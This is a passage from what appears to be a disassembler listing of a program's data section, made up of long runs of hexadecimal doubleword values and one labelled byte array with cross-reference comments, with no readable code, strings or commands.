6382758Bh, 0D7409A4Fh dd 5D0024C4h, 781BF4F5h, 0F86E12h, 4902908h, 66445E28h dd 0DB68C300h, 0D6847E71h, 7DE63Ch, 74891D8Fh, 0B0E76F16h dd 400C7E8h, 3C640B7Eh, 13E9F010h, 898C0h, 54DB55CBh, 67005989h dd 0D3F54FE8h, 542B03D1h, 0C58C7Ah, 0ABE59457h, 7F5919E9h dd 0E2B07100h, 5336FBE7h, 8E86034Ah, 0DD141EBAh, 558081DBh dd 8701DB6Eh, 0FA0E32Fh, 904049A4h, 547CABCFh, 21C28C51h dd 18E05280h, 0CE129C94h, 0A8C1B528h, 0CC8705B0h, 0CF24D75Bh dd 0B00E8DCh, 0F49A1FA4h, 0F828019Ch, 6D2187C1h, 6949C4E6h dd 0F300D27Fh, 0BF8594B8h, 2E2EDh, 803B01C2h, 0B6226619h dd 0AFC3301h, 8498D2C8h, 0EF7CE0h, 0E4129DE8h, 71C328B7h dd 56393A01h, 43CA99F9h, 0B6D7F8h, 806BF212h, 63D824DEh dd 2975D900h, 0C1F6C5E5h, 0FB389A16h, 2E307040h, 3D2704A6h dd 807EBF6Ch, 3ADA7094h, 480088F8h, 23ACC389h, 0E2FCA28Fh dd 369885h, 31C0C83Ch, 0E02FF6A8h, 37B1501Dh, 13B0A352h dd 9C5D0E7Ah, 0E560E1C5h, 0B3728F1Eh, 1CD9500h, 1399E4CAh dd 7EE8905Eh, 45B9407Eh, 6C20EC00h, 0D840EC1h, 4F280070h dd 0F51CA3F3h, 6800CBC9h, 0EE8D7627h, 7120D1FEh, 59C424B0h dd 552D00ACh, 0F2463381h, 4193561Dh, 540127D2h, 4A211B83h dd 7448388Eh, 97CA8780h, 1600A726h, 0FD894E9Dh, 2E14236h dd 0F229B735h, 0F680A9EEh, 835A2EBDh, 47FD2F00h, 85AA86F7h dd 0ED1E000Ch, 294E6133h, 5E06EB24h, 4DA9FB8Ch, 87830010h dd 6B06F67Ah, 1D003735h, 0FF583165h, 60EFD7CDh, 420FF086h dd 0A100BE6Fh, 2703D5C6h, 8A4A88h, 29D06CB5h, 5137E541h dd 28F44D00h, 0B11883BCh, 0B2120025h, 2B929917h, 1F01D3A2h dd 26F0F78Fh, 0D021862Ah, 1E5DB06Bh, 0A55B4E1Ch, 9FCA1340h dd 0A0670BE2h, 233C8Ch, 1769CBACh, 0C8266D01h, 33F0FE00h dd 8C5303CFh, 0F37F02Dh, 0DCEDF1D7h, 0EBF3B980h, 77056831h dd 96DA9DA8h, 1B50E80h, 0FC7F1623h, 0C11C04AEh, 0A7BCC0D6h dd 9500C0F6h, 27B71755h, 0DB6C98h, 24DFFD4Fh, 0C8DDBF8Ah dd 82CA9038h, 0F65B0F04h, 5DF86023h, 0FE2AB83Bh, 0EA750ED7h dd 39D88DD2h, 0CB18FA50h, 0F611CC65h, 31E500B6h, 9F4E3F7Ah dd 70928448h, 803A9B38h, 0F55E2E6Ah, 12A0AC96h, 67FF52h dd 0CAE9E731h, 0CF00FD29h, 61E0E655h, 3DE316F1h, 64006315h dd 3C47978Ah, 18B1D29Eh, 33456200h, 132C4432h, 59C5E94h dd 0C01BC016h, 90D06055h, 98BC412Ch, 299BE600h, 1D893B55h dd 0C0705ED4h, 0E4B9EB76h, 5E49619h, 0E2BA3Fh, 0E0872559h dd 71CFCE23h, 0C81B00C3h, 0DEA5021Fh, 1E01BB96h, 72FCF693h dd 42800185h, 6A2B7E09h, 610007E6h, 0C5A53ACEh, 50E968h dd 0EC6F8874h, 0D662325Dh, 3ABBE505h, 34D29E34h, 8700400Dh dd 75120018h, 32A31B6Ah, 0CC0499DBh, 0A2A61EA5h, 8CE2B880h dd 3A8F3D0Dh, 14554400h, 36C466C1h, 160186E6h, 83A6FF54h dd 0D5EC9F77h, 0E43F0094h, 53E0B534h, 853821A1h, 24C100F2h dd 0D7B25E9Ch, 1550577h, 41E21CF6h, 0EEDEDDD4h, 0C1A63004h dd 5D02820Bh, 20B58CDAh, 0F5F23C0Eh, 11521F19h, 0C68CE0EAh dd 0D2B83D00h, 0D44BA007h, 0D61E0087h, 7C2FBB5Dh, 0F3ECB0B3h dd 35C5C326h, 0C0A30C0Fh, 3A58E60Fh, 0F8D5F851h, 667600D6h dd 75EEDFF5h, 1E009C57h, 0F495A204h, 238C6Bh, 96E42406h dd 53E19ACEh, 0D645B900h, 9B8EDE16h, 0B8653354h, 0D8087639h dd 80E1C7C4h, 383F215Fh, 0E61DF5DAh, 0EC0D11D1h, 0F8626007h dd 287817h, 997ACE4h, 10910C7h, 80712B8Eh, 11853EABh, 6119015Fh dd 4A2ADFB9h, 0AEAAF826h, 0B33BACB0h, 72B1007Ah, 37479CC6h dd 74540570h, 0C0993626h, 9A94F111h, 8E1E091Ch, 565CBFC0h dd 0F672AEh, 32382CA7h, 0F1B1BBEEh, 880002F0h, 0ECFC85FAh dd 61E6FFh, 709C9A6Bh, 0C38606D1h, 403FF000h, 9D1CB9A4h dd 59733Eh, 6989C78Bh, 9EF59FB1h, 0C64F4B00h, 0C95755CAh dd 0E430013h, 948E362Fh, 79B8E4E1h, 0A9AC7C00h, 5BAA6653h dd 688403F9h, 0C151CEA3h, 0A8129E00h, 0D9C91896h, 86B62A79h dd 36760098h, 0BEE7EB5Dh, 0B100453Fh, 21B2F268h, 127F0F9h dd 0C306ABD5h, 0DE2FEA64h, 0F4A0C4A0h, 9A1E0CCBh, 0CC07E52Ah dd 0D8DF8216h, 62638020h, 0BDE061F8h, 8FE2C50h, 287E0E00h dd 0C388C83Dh, 15C605D7h, 0C090594Dh, 6BDA891Ah, 0E1383C60h dd 0CEDF3B39h, 68C15E71h, 80EAB570h, 3E039B59h, 0BA232Ah dd 4F76D407h, 2678E89Eh, 74BC0600h, 8B09AB6Bh, 0ADFE1DC3h dd 18200EE5h, 0DB5FF700h, 69C0446Dh, 0E130F4Ah, 3011C033h dd 0D1B0C18Ch, 0BD9F7300h, 910D9D19h, 9EBC00DAh, 0E021C65Bh dd 0F9758C8Bh, 2E30A073h, 5F34A9D6h, 0A93901BFh, 14CCC175h dd 0CB01E0E0h, 0D4A3000h, 2BA4DEB4h, 3FBA778Ch, 0FF0077D5h dd 15A07873h, 911DDB1Fh, 6405EA71h, 0BC1DFC0Bh, 32214418h dd 9177F3h, 3990C05Ch, 0AD2A794h, 7247F40h, 263679BEh dd 0F030CDF3h, 8C0A989h, 4067E478h, 3EB00BCh, 2B2C29F5h dd 0DB06D6C3h, 87B046A4h, 16354691h, 170A91D7h, 365048FBh dd 939100EFh, 0F02B9825h, 0DD21A739h, 7DF20C23h, 97002989h dd 4458632Bh, 0DE05C6h, 6DC1F123h, 982D8B85h, 0CF0D800Ch dd 0F1430E1h, 5F1A2335h, 0A3A92078h, 15590383h, 2F17FCF4h dd 8C292004h, 7E039601h, 18A6EB4Eh, 0C29BAD08h, 10D83297h dd 1191F030h, 88C3EA6Eh, 0E83F8040h, 0A702FE91h, 680E2328h dd 7C80F522h, 1DD70179h, 0CB7ABE7Bh, 8A709877h, 3B37EAC9h dd 0AA00FA89h, 67E01061h, 7200C823h, 0F678CD6Ch, 242FC16Bh dd 0E4CE67Eh, 15809D5Dh, 51A380A4h, 0B9460301h, 891F58F1h dd 0E4B8088Ch, 0AB00DE20h, 4221F352h, 461233h, 3F4C0114h dd 2F84DF2h, 0BCB1C500h, 84F5B023h, 9DD113A1h, 2603EFA5h dd 78C9670Fh, 0A6850048h, 8A70F898h, 0D2E4A378h, 0ED607974h dd 98BEB221h, 60C2176Fh, 2E0F005Eh, 517F57DFh, 29707B6Ch dd 0B57CE5h, 74122B1Dh, 0B7D03D1Eh, 0B4900701h, 0FD4433A4h dd 795F888Eh, 856F5983h, 7C0540D6h, 35EBCEE6h, 0E8068441h dd 109DED25h, 4B1B4045h, 824F615Dh, 0E241F301h, 1770FA5Eh dd 50D3C4h, 80A1B2E9h, 1CDC6DECh, 661B7700h, 74729CC9h dd 0DE1200A0h, 0FC53BFA5h, 470EFF29h, 80CA486Ah, 0E9A161D8h dd 5F7A0197h, 74253EC2h, 0E008BBF2h, 97E11321h, 10490B35h dd 0EF006424h, 1B6DF82h, 34002790h, 0D95255ADh, 0EAC3DB67h dd 0A399013Dh, 29F8271Ch, 61DAE881h, 0C06B78C8h, 5F7B97EAh dd 88C018FFh, 9704E210h, 85BB7622h, 0F4609386h, 38712C50h dd 0C12930F3h, 9318DACDh, 27113349h, 0B1D0002h, 0DC834EADh dd 84741EC6h, 0F12180E7h, 1B6D1D6Ch, 0DB1300D3h, 48DE7CACh dd 610EE214h, 0C10E920h, 8C9258F6h, 0E1D0104h, 236246ADh dd 1D6BF020h, 305EB814h, 0A8B089F6h, 35415520h, 29D44E4h dd 0D3E2034Ch, 90802664h, 4F0DB95Ch, 0AE2F6100h, 91A16E60h dd 8D10C058h, 0F8427220h, 9C988B07h, 97E0DA7Bh, 0EDC4439h dd 4126A980h, 0E46E3840h, 0E0004EE3h, 379E16D1h, 0C2392h dd 8DBD8F20h, 0C17B9327h, 80CC1539h, 78A7311Eh, 7E7CF0h dd 16976D9Eh, 4CBCE52Ch, 91748700h, 0A8AFDC7Dh, 10B000E4h dd 9EFCEE11h, 0D200841Ch, 0AC946DC2h, 2E0236Fh, 9FEBAEF4h dd 0E7614F5Ch, 0E558837Dh, 58C447D4h, 0CA1F2318h, 0F9810E69h dd 0E148800Ch, 2F12FF00h, 0C6159AE7h, 4CA05B7h, 80111FF2h dd 463AB41Ch, 4FB06101h, 27ED68D5h, 1FF7A7D9h, 157FBB9h dd 0FC766B58h, 0E4242094h, 0E001C439h, 35096820h, 0D46D059Dh dd 0C0849B63h, 53E508D2h, 0AC812C00h, 756C35F6h, 1DA207B1h dd 81EB67B3h, 8C7DD2E1h, 88A8840h, 0D38B00F0h, 1B95EE5Ah dd 780130E8h, 3B94E5A5h, 0D5D423FCh, 63E000EFh, 0E809D99Ah dd 93E0F829h, 0D8FE190Ch, 33E7F0CFh, 65517BA1h, 0D5F1A5E0h dd 0A800737Ch, 0F3807FFFh, 1DA34262h, 87A10h, 52561F5h dd 2800D798h, 0C189F793h, 3095EFDBh, 512878C9h, 0B914211Dh dd 30A1AB77h, 477B40B2h, 0DA0500C1h, 0FB6F284Eh, 0DBFAC75Eh dd 0E422A700h, 6E1C9BC8h, 10F7606Ch, 60DFBC21h, 0C6C93Ch dd 0E5FB1FFCh, 0F346A969h, 0C4566881h, 8057408Ch, 0A6D78360h dd 0C4EDBC3h, 75636F2Ah, 240031B9h, 8FB6AFEh, 0CA2B22h dd 0DA3EF720h, 567B0C2Ch, 0D787A300h, 89F0B9E8h, 8BB3180Bh dd 88FB59A4h, 242C347Fh, 4E068A0Eh, 38D23Ch, 0E178048Fh dd 4521F199h, 0D3AF7200h, 0B25DFDDh, 8C06666h, 6000210Eh dd 18AAB0A9h, 7E12B1h, 3D5EAB4Dh, 99F4B944h, 0C9B7F800h dd 0F1CB1E01h, 55FB0091h, 0F9E521F0h, 4B0FAF09h, 262B45ABh dd 6008440Ch, 1D92138h, 9316F1AFh, 6201F855h, 0C2A01892h dd 0C7E50EF4h, 0B0796380h, 840790D8h, 0EC0085ECh, 0E00CD1B5h dd 7DF3926h, 0E7A19905h, 551A40E3h, 0D0623F9Bh, 0DC2C521h dd 535080C8h, 62FA9A2h, 0DAA300A1h, 7152139Dh, 41604D75h dd 0F6E3E6D0h, 0E41030D9h, 154CC138h, 27160876h, 3B1905E0h dd 7080F608h, 1553D0F1h, 500072D9h, 4E43D4CFh, 636186ABh dd 901350E3h, 4E1F1191h, 0E3DC90h, 4DC2E805h, 6000BE9Bh dd 0AC8F7A17h, 0C044BB7Dh, 0D743DCE8h, 0E40F125Dh, 0A0FEB40Ah dd 3F587F35h, 5614005Bh, 5A726FF2h, 0A2002064h, 68EA74CCh dd 35804AEh, 0E63D3EB0h, 3BB1C3A5h, 0E99520D5h, 0B976C871h dd 8BC75D00h, 0B5EBF939h, 0C0095052h, 20AE61A6h, 0CCC70613h dd 6D3E5C4Ah, 58E048Dh, 0C040A783h, 71D8DFEBh, 1ECBE800h dd 0CC3BD08Ch, 43C500F9h, 0AF28BCADh, 0B9005F63h, 0EDCD990h dd 60BEFFE0h, 0E8D540C4h, 0EE0274E9h, 0EA155C2Ch, 86C88E55h dd 20DFF0h, 4474D20Ah, 0B62DF73Bh, 3355C3Ah, 8304A8DAh dd 53C91FDEh, 80E69C50h, 7A63D533h, 13007E36h, 26E3345Dh dd 1A7FE7FBh, 58DB35B0h, 60F68404h, 106CC712h, 0B0EC313Ah dd 0FC73B28h, 3CC6FD1Ch, 2F38D58Ch, 90B45300h, 0C5489D60h dd 51B66C13h, 3600CB20h, 0B068BFEFh, 0EA338055h, 0C0462827h dd 6D630C84h, 0FCC808B9h, 3557D605h, 0B000AE21h, 0D5C2963Dh dd 0F7600DFh, 5E7C41B7h, 40000879h, 7AC6F7B2h, 659081h dd 0F1E6BB82h, 0A006A5DFh, 0E274DA01h, 42370C67h, 39884C70h dd 0F594BFh, 8DF306F0h, 9670CDD9h, 29C4E00Eh, 71AD80B0h dd 0E6879598h, 74130635h, 89B1E7Ch, 20E1A730h, 8853F7h dd 9DFF91C1h, 2590949Fh, 66133103h, 0F8B4120Dh, 17872A9h dd 108BC84Bh, 0E071BAB8h, 5036B81h, 5EA9279Bh, 5DD991DDh dd 80AD8CD0h, 400BE9Fh, 0F8762497h, 16DA684h, 3A5B7406h dd 8FDD5960h, 4C26E129h, 0F119079h, 3AEC7461h, 7776C01Ch dd 9526DD58h, 0B2AD28C0h, 49A564h, 53E7A3B4h, 257EBF0Eh dd 0DB98F30Fh, 921D4079h, 502AEAACh, 53B887Fh, 0B6CB06EEh dd 209026DBh, 0D6D222h, 86EE301Fh, 401569F8h, 0A7B44EAh dd 0D1765600h, 778A1EB7h, 80470057h, 8D8B0F9Fh, 797F9163h dd 0E8111200h, 0EC640B78h, 60743FC2h, 1083E903h, 79C86699h dd 0F5004552h, 5B77BE20h, 2F4E25D9h, 0EBFC2613h, 88C71A00h dd 3E2EF82h, 0F3C1027Ah, 58482A6Ah, 0C3F70049h, 43B9D449h dd 267A0E51h, 9240EE18h, 88A08C7Ch, 7ECF0B1Ah, 870780CCh dd 3890C767h, 0E400716Bh, 1F7CD29Dh, 7500DA3Ch, 4D8EFFFBh dd 30159317h, 6B691476h, 62003CEEh, 0CA0C7104h, 1899947Bh dd 0C08095BEh, 65180ADCh, 7820E1DFh, 2BA6004Ah, 4F8150F8h dd 48C61341h, 511EFFh, 36A614C1h, 478318C0h, 0A94D8C0Ch dd 7F4284Fh, 0DC275E5Bh, 0EC8410EBh, 0B2E85F77h, 0E338FC60h dd 3670DDh, 443A9ABAh, 656DD7A2h, 0F7CCA300h, 0FFAEB5C7h dd 33800A6h, 780BE6Eh, 0A9002DF8h, 7087E791h, 3715FEC0h dd 4029D28Eh, 0A45E5926h, 11F42B06h, 3008334Bh, 8B20FE7Ah dd 0B4005920h, 0C6848D16h, 7C6C51h, 0C04AA1AFh, 6A056D6h dd 2EF23626h, 0DF99BD07h, 41B620FCh, 38A7C0C6h, 3F69F23Ah dd 58F3B542h, 5301E480h, 2A8A0159h, 9B7EC672h, 9DFAD173h dd 4A663521h, 0C093BE0Fh, 3BAF42FFh, 2A400044h, 58FE83ABh dd 70C0B1C2h, 0A821F20Ch, 0D880E913h, 5EB45098h, 5BF4FBEDh dd 1188B51Dh, 0F6219B18h, 0DB30EDDh, 3007D4Fh, 0A5BE668Fh dd 1E9D0114h, 8DF88494h, 59585D30h, 1843A423h, 2C6C2190h dd 6F073BFEh, 9CA9369Dh, 0CD540D97h, 129F59C0h, 764300F8h dd 0CE9EC2EAh, 571F9256h, 0D1006C3Eh, 0B4C492Dh, 4A59005Fh dd 1F77CFB2h, 8B0E95D5h dd 0EFA1C850h, 191EC7A0h, 0C04FA647h, 4CF72361h, 320D0528h dd 80ADDB8Dh, 0EDA2BAE0h, 5E312B00h, 513C813Ah, 87CA0112h dd 97B05FCEh, 92FFC8D0h, 326B5400h, 0C376B553h, 0A0DD0034h dd 711DF7A4h, 0F53BF0A8h, 6B4C00C4h, 976F3ED6h, 6A640051h dd 3C0C0DC8h, 101CF760h, 664180ECh, 0FC56D99Eh, 0A0BC7F0h dd 7A5AE18Bh, 0F9820099h, 0B9459578h, 60FE1CF0h, 0DCC8E300h dd 3A6588ABh, 509F3C5Eh, 9E364507h, 5037060Ch, 0C7BE1B1Eh dd 0FD16003Fh, 9445B5FFh, 0D7E00065h, 4C479A44h, 57395329h dd 5DDC8036h, 21BCEFFDh, 0A4911DD6h, 0BAEA4080h, 0BE145710h dd 4D9FC200h, 9B43C95Fh, 0AFB00718h, 8072E6ADh, 270151FCh dd 10C1E300h, 0A64F7E0Bh, 30E27C86h, 0DA10ED48h, 0D3079A1h dd 54D9A841h, 1A660ACBh, 1F81DE5h, 23FBF5DAh, 25218030h dd 16272B03h, 0AF811h, 0C18147C8h, 0E72D7552h, 7CF8C94Ah dd 31566D00h, 0DB08BC24h, 7000D87Ch, 0FA5DF8A8h, 14367D2h dd 3B075B32h, 0F0B148F9h, 5F00B761h, 887DE118h, 101D1Ch dd 8387550Ah, 978E2065h, 0F5C9E000h, 0D0923880h, 565A05B6h dd 43E72F2Ah, 0EB5FD240h, 0F283F1C0h, 0EA8C2403h, 88B11089h dd 16184A82h, 0E22A9F6h, 8CDEFF04h, 5E1878D6h, 1D103Eh dd 63553A9Dh, 1B7B9h, 0E4157BE1h, 397385CEh, 8FB29F00h dd 0E72E7091h, 1CA0383h, 0C7A53BEFh, 26BC31A0h, 0CC3DC303h dd 0D88DB0A3h, 0CEC5B14Ch, 12235CB0h, 4389078Ah, 0ABD50030h dd 6290A0FEh, 94040F9Ah, 2A406D48h, 7A54817Eh, 29C968C0h dd 1429FF3h, 0A1BCA65Eh, 60E338FEh, 9576E9FFh, 53983B50h dd 0E722011Ch, 6444FE07h, 2ECEA01Fh, 94D5FBh, 0D8CD13B8h dd 9F6EAA58h, 30649700h, 4F9B8E46h, 0F81A1E78h, 8258808Ch dd 86E2E66Ch, 0EA3E9300h, 0CBFEC160h, 4230C6F7h, 0A000863h dd 99EE0D7Dh, 1DBAB86h, 0A38F60CEh, 0FA21E371h, 942011C0h dd 0E1771903h, 0B0E2E467h, 9F071Bh, 2E2B32C2h, 48CA9DC1h dd 65AAAB00h, 0E9598B87h, 48B96060h, 9958B402h, 704E7F30h dd 0D5B4Ch, 31C8C4CEh, 4332B533h, 0CB918C0h, 6F149Fh, 807CA47Dh dd 0D6BFF1C5h, 0F8EA4300h, 4BEE9CBDh, 0EB9E3030h, 0C87A4608h dd 5C760A7Ch, 2B00A176h, 0E4663C2Fh, 0DF9F9553h, 0D669C031h dd 0C950273Dh, 2C0DAE0Ah, 0C600D88Ah, 0EA48327Fh, 0D01F00CCh dd 45DF0FD1h, 0BE001344h, 812E1B64h, 0C04677D7h, 37C1A55Ch dd 1AE6E8B6h, 0F7525B01h, 86894F74h, 5C192BD4h, 2300245Ah dd 0CEA99EE4h, 0AA00423Ch, 0B25551F6h, 0EC8408FAh, 0E4980088h dd 159A3671h, 25014158h, 0FAE82A1h, 92FC70F5h, 0C7B20681h dd 18A9B48Eh, 18B7DB3Ch, 2729AD36h, 79D81C8Ah, 10D0341h dd 2CD15616h, 3649FC39h, 9B09A104h, 0CBC0234Ah, 0F8AD969Ch dd 3F30007Ch, 0B0025219h, 19C77006h, 424062B1h, 0E2A893h dd 0B4E1B57Ch, 26E3C99Fh, 85C8CD60h, 4C7681h, 0D231D3C1h dd 9697982Eh, 0F00AF7Bh, 3B7B5702h, 0CC51895h, 0F7DC723Dh dd 470CB638h, 0B8BAC88Dh, 8C90542Dh, 7325000Bh, 99C54C7Dh dd 8100FA8Dh, 54D6DDDAh, 1828692Ah, 706A4680h, 0B6285911h dd 4301E3B9h, 9C6888E7h, 6E606BA5h, 8E570066h, 0D23E6793h dd 30742E2Ah, 0F571DA07h, 5A40C5B6h, 7478FB32h, 71A9058h dd 51DDB11Fh, 0EBA1C1D1h, 71188019h, 749D8DD9h, 0C34B0EBAh dd 0C7AC9666h, 4600FC40h, 0DAB199D8h, 8B2833h, 0FE8648F5h dd 39D4B98Fh, 41D2DE03h, 0C8A9F98Ch, 944A4Bh, 6ED38D7Bh dd 452CF526h, 0E2052407h, 61F1236Fh, 79805A4Eh, 0D84B29Ah dd 7E1DAB67h, 0C20F5DBAh, 0B46580E4h, 0D08C425Fh, 3DA12C99h dd 8D67211Bh, 0F1DADDA8h, 60DB65F8h, 0A07D1934h, 91BD22Ah dd 0B12076D3h, 80804358h, 73457ED8h, 0DA52D155h, 69F10598h dd 77C19AAFh, 6CC44ABDh, 0FB35008Dh, 0A8E74B6Eh, 7F3DD885h dd 5A940FFCh, 0E0938E98h, 7D5B4A34h, 2C0A30BCh, 22B07660h dd 0F6249454h, 0F21A40h, 57C833E6h, 0FA9E2943h, 53882B50h dd 59DBBD18h, 0E4C730h, 0DC2E3547h, 0A845B7D0h, 0E8CBF933h dd 66600C31h, 0FE949DBh, 42603F78h, 1BADFB18h, 16EF063Eh dd 0F16FE798h, 114C711Eh, 115D69CCh, 87E00FAh, 936FB3D2h dd 763AD719h, 9EC0709Dh, 0F0749B71h, 8F0900F3h, 6373D0CCh dd 0D146FE8h, 8024ED11h, 0B4440960h, 9902877Fh, 0E067095Eh dd 60E0B7ECh, 2C253941h, 2273154Ah, 58437E06h, 761E796h dd 7A4CAFF1h, 0F25280E1h, 0CB075E9h, 7F4E3700h, 90EF0F4Dh dd 598F0F82h, 0DE002F3Ah, 3BF06F07h, 12C8DC01h db 0F3h, 0AAh, 46h byte_53004B db 13h ; DATA XREF: ___:0043F701o ; ___:0043FF11o dd 0D9C5E0F2h, 61D60027h, 2FA0725Fh, 0A0374E3h, 0F8EBE4A4h dd 0FB649BE6h, 0BF50883Ch, 8592489Bh, 5C170E0Eh, 4AA289C0h dd 4907EA97h, 0AD2CB6Dh, 8BFA7500h, 0DA1203EFh, 0FB45A77h dd 50D9F0F7h, 850E4579h, 0E0617F9Ch, 0CF3627C8h, 38B7BECh dd 0EFA4C0BAh, 4EA033FBh, 0EA007C8Ah, 79E7671Ch, 4CC0B9E1h dd 6E3C1F8Ch, 0D9A84E80h, 9170E2B0h, 7D1D3102h, 0C0BA3D58h dd 34F641Eh, 1062B56Eh, 0F6BBED9Dh, 9BB9A2D0h, 15030D7Dh dd 8D708018h, 41B80EEAh, 8AEE341Fh, 0AB453C0h, 20F65ECh dd 0A0B84DA7h, 0C2EB49B6h, 0CA79000Fh, 0F18421B1h, 0A10040DAh dd 0D942391Bh, 9BE759h, 1720A45h, 9F21FB4Bh, 98016298h dd 0A6BFCE1Dh, 0B12016C2h, 2AC304BDh, 87D23C3Bh, 28DEB0C1h dd 0EB061489h, 442CC4CAh, 6CED0040h, 49856858h, 4C00F898h dd 0FED6EA4Eh, 7C7C6414h, 0B4411C38h, 6E1080C2h, 0BCAD6932h dd 8A78D509h, 9B0E0009h, 0E61D2D1Eh, 56C203B7h, 66D51D1h dd 8B40DEF2h, 4800FE29h, 92F8847Bh, 0A1B2C9h, 801AAC52h dd 0A0900ADDh, 0C0B4800h, 0EAE42096h, 7EA72E43h, 29EE0551h dd 7B5C0ACh, 4030E1C2h, 7564B8C6h, 743F2465h, 0C86E0000h dd 0EA5F2F48h, 171AA900h, 68C4A15Bh, 1EB800B2h, 0AD32384Eh dd 6900E73Ch, 5FDE427Fh, 3A43979Bh, 3E80E441h, 0D57A231Dh dd 1C0007FAh, 0B0BD95BAh, 29AA59h, 6D281537h, 0D44E1462h dd 0ACF7700h, 987D1A52h, 0B4ED00C9h, 883FE2F9h, 0F5793ED6h dd 10BBC000h, 0ECEA069h, 2E70CAh, 3B61AE03h, 90259F80h dd 30FB2FE0h, 2490A107h, 80A46939h, 79D29B4Eh, 0BED127h dd 7D6B98F7h, 53FB75F2h, 0EC8320h, 0F6FD7F6h, 63A97221h dd 3D67B700h, 0DC291AC3h, 116904E0h, 8019C652h, 787F740Ah dd 0FD4D993Ah, 0E7219701h, 0DDF650E9h, 0D1E020h, 1A5346A9h dd 638E42A8h, 68D0D930h, 18A02EF2h, 102D17C6h, 59077843h dd 0D2A6B756h, 6CA4C09Fh, 1830AC1Ch, 0C8FB1573h, 0C61D42D1h dd 41801646h, 8AAB5C97h, 0C0670022h, 0D13BD788h, 0AA0021FAh dd 0EC902C4Ah, 8B45Bh, 0FCBCF818h, 0BD472244h, 8C535Ch dd 87C7D92Ah, 23E011Fh, 6E793BCEh, 50487D59h, 0AE3F4A44h dd 1FEA0051h, 346E78Fh, 8E9800A7h, 21BA42CCh, 0DE18E543h dd 94F0DCFAh, 969CA120h, 709B11E8h, 0C7EA008Ah, 0ECFEB66Ch dd 871F86E8h, 0F898B06h, 60C80EACh, 690E5201h, 0AA2E007Dh dd 0E11FC057h, 0FA779855h, 4BE3600h, 0A205CA12h, 3F6900F3h dd 2B1E5CD1h, 38AC17FBh, 628C2100h, 3EDFF5Bh, 0BE7C004Ah dd 5F2CC371h, 6D00892Dh, 3552B541h, 7828A097h, 494F007Fh dd 555CC918h, 2C077258h, 2EEC2431h, 0FC7ED270h, 0EA23F866h dd 620A001Ch, 880E7181h, 3F1C2AF1h, 7D00784Ah, 2B2DCAC8h dd 702209E9h, 858F7420h, 97886583h, 0DE101ED8h, 507BFF02h dd 0A1180AD7h, 19B7DBDCh, 3E8670h, 1C9D1615h, 0EB321058h dd 0A0234700h, 175E4940h, 77402ACh, 0D336F7CEh, 707330E1h dd 2400AE20h, 0C58E0C7Eh, 0FCCE404h, 79CFDE30h, 1C644B92h dd 8D287080h, 94C8180h, 882C503Ah, 18909F48h, 0B3AE8B70h dd 0E559A5h, 1B95E103h, 7EC14955h, 0E45420F6h, 61CDD800h dd 0C9F32C18h, 0ED4200B0h, 0B37BD33Ch, 4428A7CAh, 0AC7C850Bh dd 1E5D1700h, 5F37702Eh, 73AF00DAh, 0C97FC7B7h, 0CF3A086Eh dd 655E83E3h, 98178526h, 4D1A8283h, 1C4C8CC6h, 3F534702h dd 6CC0FDC2h, 164C40CBh, 0B2270474h, 5CC75E6Dh, 7E19E1CFh dd 74DB7DC0h, 2BFF00A8h, 46F3910Ch, 4703010Dh, 82FACF8Eh dd 8E100DDh, 0FF73F79Fh, 0D5120D4Fh, 900143B7h, 0EA505EF1h dd 0BC984880h, 5DA814F4h, 0D444F03h, 0E057E93Ah, 6FC9B1h dd 33826042h, 22130797h, 184E0318h, 7E43AA0h, 3E2F3FA3h dd 0C1CD8041h, 0D0064D1h, 0B211E35Eh, 718E9506h, 0C96E006Fh dd 0CBF59B8Ch, 8B0022B3h, 0FC9625A0h, 756C97h, 19DBA15h dd 6D3458FEh, 0AF126AF8h, 0C0002857h, 11933EF7h, 26FF236Eh dd 0AA5B4B80h, 1D6DB8B1h, 44E82B4h, 8120EA72h, 802B8D20h dd 44FA9430h, 92D121Ah, 5B8F824h, 626A3187h, 0C8E2C67Eh dd 0B0C00487h, 1AE09737h, 8FE94C3Eh, 0C3B423C3h, 80ECA7B9h dd 53CF5Eh, 0FDB8CCA5h, 33A04981h, 7CD10926h, 0B05B8380h dd 0A14A87h, 62FE5830h, 0DB7B05A8h, 4625CB13h, 13D2F701h dd 78701CDDh, 29700E07h, 2BC10A3h, 99AB35E7h, 0AC400C4Ah dd 0C6B0412Eh, 0FFBCB401h, 6D0EC730h, 0D0063822h, 48157C0Fh dd 243681Fh, 0D9593087h, 6982D49Ah, 0E8625650h, 3713324h dd 0E26C6F14h, 58717803h, 0BEE44700h, 3643F50Fh, 0D65D00A5h dd 516E240Ah, 403F1E1h, 0C23267A8h, 6517A10Dh, 49017823h dd 29D84A4h, 0A7708019h, 0E83C7023h, 4AF424FFh, 9C750060h dd 27D897EDh, 311FE0A8h, 267AD300h, 2B6A89A7h, 0FD5C09B5h dd 1000ACB7h, 6B58607Ch, 84E46400h, 0E5DF5EE9h, 506A00C5h dd 0FBF2BAC0h, 0B100F36Fh, 0D7D99E48h, 123421F6h, 0B440BCh dd 0FE5286B8h, 0D101AF4Ch, 0F6F21038h, 6ACCAB2Eh, 0BB6100D3h dd 11BF8BEDh, 0FC261243h, 0D70FFC81h, 0AFA4E58Ch, 306A6C8Ch dd 6EC839C7h, 91009C87h, 76EF61F7h, 0BCF6A1h, 8029A7D9h dd 0CEAD817Ch, 1F561B03h, 98CF270Dh, 3FD37206h, 0D4D47313h dd 8294581Eh, 0E1FA6A01h, 0EC884504h, 0B901496Eh, 9C8A6BDFh dd 0E054E539h, 0A9796D80h, 13A8018Ch, 7E9ADC4Ah, 0DF530B4h dd 78E6E8BAh, 930CF8E2h, 38174910h, 48020BA6h, 8400BAEDh dd 2F5045BEh, 94E9C22Eh, 20A89E8Fh, 0DC21FC73h, 58A505F0h dd 8C312060h, 5B039AC8h, 81C1716Eh, 0B6C4FFA1h, 0A820488Dh dd 144400E1h, 4730555Fh, 9898B6DBh, 401CA000h, 705D093Dh dd 7015F024h, 770512E8h, 5EB40068h, 38619D66h, 338D2100h dd 0FECE1474h, 2C77783Dh, 78E0650Ah, 7200E160h, 0E7617E64h dd 1DC7AC51h, 0B8955Dh, 2780CDF8h, 30062B7h, 326D3E3Fh dd 95E672h, 0D184F1AFh, 9ADE2B5Dh, 7A729F4Ch, 0E777CA07h dd 8F9BA625h, 0C2EE6036h, 450F53h, 51DBBCAFh, 0D7B8BFFCh dd 8C1E6BFAh, 9E40B029h, 637717DCh, 48E95886h, 8C6CACh dd 0CB761DD1h, 0D0AC96B7h, 5F00787Eh, 8A870CF7h, 97BC91h dd 4766DB40h, 0BD2D3358h, 0BC1CB03h, 80B87469h, 421F9F0h dd 